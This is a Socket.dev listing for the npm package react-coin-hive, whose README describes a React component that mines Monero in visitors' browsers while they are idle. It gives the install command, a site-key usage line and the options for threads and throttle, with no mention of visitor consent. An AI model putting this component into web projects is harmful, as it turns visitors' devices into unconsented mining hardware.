Research
Security News
Malicious npm Package Targets Solana Developers and Hijacks Funds
A malicious npm package targets Solana developers, rerouting funds in 2% of transactions to a hardcoded address.
react-coin-hive
Advanced tools
Mine cryptocurrency while your users haven’t engaged with your content lately
Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
npm install --save react-coin-hive
// Anywhere in your app as long as it gets mounted
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
siteKey
: Your Coin-Hive Site Key.
timeout
: How long before considering that the user is idle in milliseconds. Default is 30000
.
userName
: If used, the miner will be created with CoinHive.User(siteKey, userName)
. By default the miner is created with CoinHive.Anonymous(siteKey)
.
threads
: The number of threads the miner should start with. Default is 2
.
throttle
: The fraction of time that threads should be idle. Default is 0
.
onInit
: A function that takes the miner
instance as argument. It's called when the miner is created.
onStart
: A function that takes the miner
instance as argument. It's called every time the miner is started.
onStop
: A function that takes the miner
instance as argument. It's called every time the miner is stopped.
I have nothing to do with coin-hive.com
FAQs
Mine cryptocurrency while your users haven’t engaged with your content lately
The npm package react-coin-hive receives a total of 1 weekly downloads. As such, react-coin-hive popularity was classified as not popular.
We found that react-coin-hive demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Research
Security News
A malicious npm package targets Solana developers, rerouting funds in 2% of transactions to a hardcoded address.
Security News
Research
Socket researchers have discovered malicious npm packages targeting crypto developers, stealing credentials and wallet data using spyware delivered through typosquats of popular cryptographic libraries.
Security News
Socket's package search now displays weekly downloads for npm packages, helping developers quickly assess popularity and make more informed decisions.